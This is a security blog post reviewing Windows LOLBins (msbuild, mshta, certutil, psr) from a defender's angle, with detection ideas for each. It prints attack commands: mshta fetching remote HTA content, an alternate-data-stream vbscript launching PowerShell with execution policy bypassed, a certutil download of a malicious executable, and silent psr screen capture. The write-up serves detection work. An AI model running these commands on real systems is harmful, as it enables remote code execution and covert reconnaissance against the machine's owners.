Back To Basics - LOLBins
A knowledge refresher - Exploration of cyber security topics.
Cyber Security requires such a vast knowledge base consisting of so many technologies and techniques that at times I find myself struggling to retain knowledge. As I learn new and interesting techniques at times I find myself forgetting the basics.
Back to Basics posts will act as a refresher reacquainting myself with knowledge areas I feel in need of a revisit. I’d expect the majority of what I write over this series to be well documented but who knows perhaps some of it might be new to you.
To keep this interesting I’ve explored a number of popular LOLBins, their usage and detection opportunities, pretty standard stuff. In addition to this I’ve selected one LOLBin that I wasn’t particularly familiar with and experiment with its usage in my lab environment.
Testing of LOLBins has been performed on a freshly installed and fully updated Windows 10 VM in my lab.
LOLBins Primer
Living Off The Land Binaries, Scripts and Libraries(LOLBins) are a mixture windows native or downloaded (from Microsoft) binaries, scripts or Libraries that, whilst having legitimate uses, can be misused for alternate (malicious) purposes.
These binaries look benign at first, trusted in many cases however may pose significant risk to an organisation’s security posture if left unchecked without having their usage carefully monitored.
The default and built in nature of LOLBins is challenging as many are shipped natively with Windows however there are significant detection opportunities allowing defence teams to hunt for and catch malicious actors during their attack campaign.
Additional information on LOLBins and the LOLBAS project can be found at https://lolbas-project.github.io/
msbuild
Msbuild.exe packaged as part of .NET Framework can be used to compile and execute code, a simple example is to build and execute a csproj file used to store a C# project. An old but great example of what could be is the following “powershell” like shell https://github.com/Cn33liz/MSBuildShell. This shell once sough to bypass app whitelisting and ASMI giving the user a shell like enviroment launched with msbuild from a .csproj file. The LOLBins page for msbuild can be found here
Keep in mind that msbuild doesn’t have to be used to compile and execute, in a lot of cases code compilation is performed using msbuild with execution performed using other means. Code complication on the target system can be beneficial for compatibility and trust reasons (an example being lack of mark-of-the-web).
As a proof of concept I threw together a quick calc.exe launcher app and launched it with msbuild.exe using the following command:
1
c:\windows\microsoft.NET\Framework\v4.0.30319\msbuild c:\users\lab\Desktop\text.csproj
If we check it out in process explorer or process monitor and follow the process tree we can see cmd.exe spawning msbuild which in turn spawns calc.exe. Expected behaviour.
Of note is the fact that you can further obfuscate commandline activity with the use of .rsp files. Check out the following for more information https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-response-files?view=vs-2019.
Detection
There are some straightforward detection opportunities including process tree analysis looking at parent processes. If we see MSBuild.exe being spawned from devenv.exe where a developer is using Visual Studio its more likely to be a legitimate use case.
However if we see a process tree similar to our above example spawning from something like powershell.exe it would require further investigation. Dig this out using parent process to child process relationships and alert accordingly.
Further detection options could be output of files to unexpected folders in the case of code compilation, execution of msbuild by unexpected users (non-service or non-developers) or .rsp in commandline.
Mshta
For our next refresher of a commonly used LOLBin we will look at Mshta, a utility used to execute HTML application files (HTA). Mshta can execute Windows script code (VBScript and JScript) embedded within HTML. Threat actors can misuse Mshta in a number of ways including execution of local, remote, inline script content and alternate data streams. Noting Mshta is proxy aware which will aid in use within an enterprise environment.
Executing local content can be as simple running Mstha via commandline or directly double clicking a .hta file. A wide range of use cases could be executed for example the creation of a DLL file using Mshta executed HTA files which is then in turn is executed for persistence.
An example of local execution is as follows:
1
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\lab\Desktop\test.hta"
Another frequently used technique involves executing content from a remote resource. This functionality in Mshta is simple and attractive for adversaries to exploit. By executing remote content, actors can run VBScript and JScript functions without having to download the malicious script to the target systems disk, thus reducing footprint on the compromised system.
An example of remote execution is as follows:
1
"C:\Windows\System32\mshta.exe" http[:]//<ipaddress>/test.hta
Inline script content is an interesting one, the use of Mshta allows for inline execution of script content (either VBScript and JScript) without calling a local or remote file. The advantage to this is you don’t necessarily have to bring a file into the environment or reach out to a remote destination for one.
An example of inline execution is as follows:
"C:\Windows\System32\mshta.exe"
A bonus misuse of mshta is the ability to execute payloads from alternate data streams. Alternate data streams (ADS) are a feature of the NTFS file system that allows files to contain more than one stream of data, enabling hidden or additional information to be stored alongside the main file content.
Execution of Mshta targeting a file’s alternate data stream can be achieved with the following command structure, keep in mind that there are many ways this can be written:
1
mshta.exe "C:\Windows\Temp\file.txt:file.hta" vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -ExecutionPolicy Bypass & 'C:\Users\lab\Documents\test.ps1'"", 0:close")
Detection
Detection opportunities include suspicious child processes of Mshta, Mshta commands with inline scripting content including vbscript: and about: and urls in Mstha commands. General usage of HTA files, especially ones obtained from external sources, should be closely monitored.
There may also be detection opportunities around .NET CLR which may be an indication of VB.NET assemblies or C#.
Certutil
Certutil.exe is a built-in command-line tool in Windows, typically used for managing certificates and their associated tasks, such as importing, exporting, and validation. However, its functionality can be repurposed as a LOLBin for malicious use.
Most notably misused for its functionality to assist with ingress tool transfer, Certutil can also be used for a number of applications including encoding, decoding and installing malicious certificates.
Originally designed to manage cached URLs for certificate revocation lists Certutil can be leveraged to download from a remote source either external to a network or within as tools are transferred laterally across internal boundaries. Noting this command is proxy aware which will aid in use within an enterprise environment.
As an example, consider the following use case of Certutil to download payload:
1
certutil -urlcache -split -f http://example.com/maliciousfile.exe maliciousfile.exe
This command fetches the file maliciousfile.exe from the remote location and stores it locally on the system. Once downloaded, the file can be executed, for example, using cmd.exe or another process.
Detection
The most straight forward detection opportunities come in the form of suspicious downloads and suspicious encoding and decoding. Hunting for commandline arguments where certutil is executed with http or https would warrant further investigation.
Additionally, how Certutil is launched (parent process), if it has suspicious network connections originating from it or if it is wiring suspicious files to disk may also be warrant further investigation and can be used as detection use cases.
PSR
Lucky last, problem step recorded (psr.exe), an interesting LOLBin with a somewhat unique usecase. Psr can be misused as a reconnaissance tool to capture screenshots of an operating environment in a semi stealthy manner.
The below command can be used to initiate psr via command line, configure it to silently record a session, and then drop the generated .zip file, which contains an MHTML document detailing the victim’s actions. Because psr is signed by Microsoft and built into Windows, its use may evade detection by some endpoint security tools, making it a low-profile method for performing reconnaissance.
1
2
psr.exe /start /output C:\Windows\Temp\file.zip /sc 1 /gui 0
psr.exe /stop
Detection
Detection opportunities for this one would consist of psr spawning as part of unusual process trees, psr.exe commandline with the /gui 0 flag indicative of it being silently run and output to abnormal locations.
One to look into may also be the possibility of correlating events from the Microsoft-Windows-Win32k ETW provider triggered by Windows API calls when taking screenshots. This is one that is going to take some digging and you’d have to rule out screenshots from other processes/methods.
For now thats a few basic LOLBins summarised and a good refresher on some of their usages.
More Back to Basics posts to come, next up more LOLBins and cloud attacks!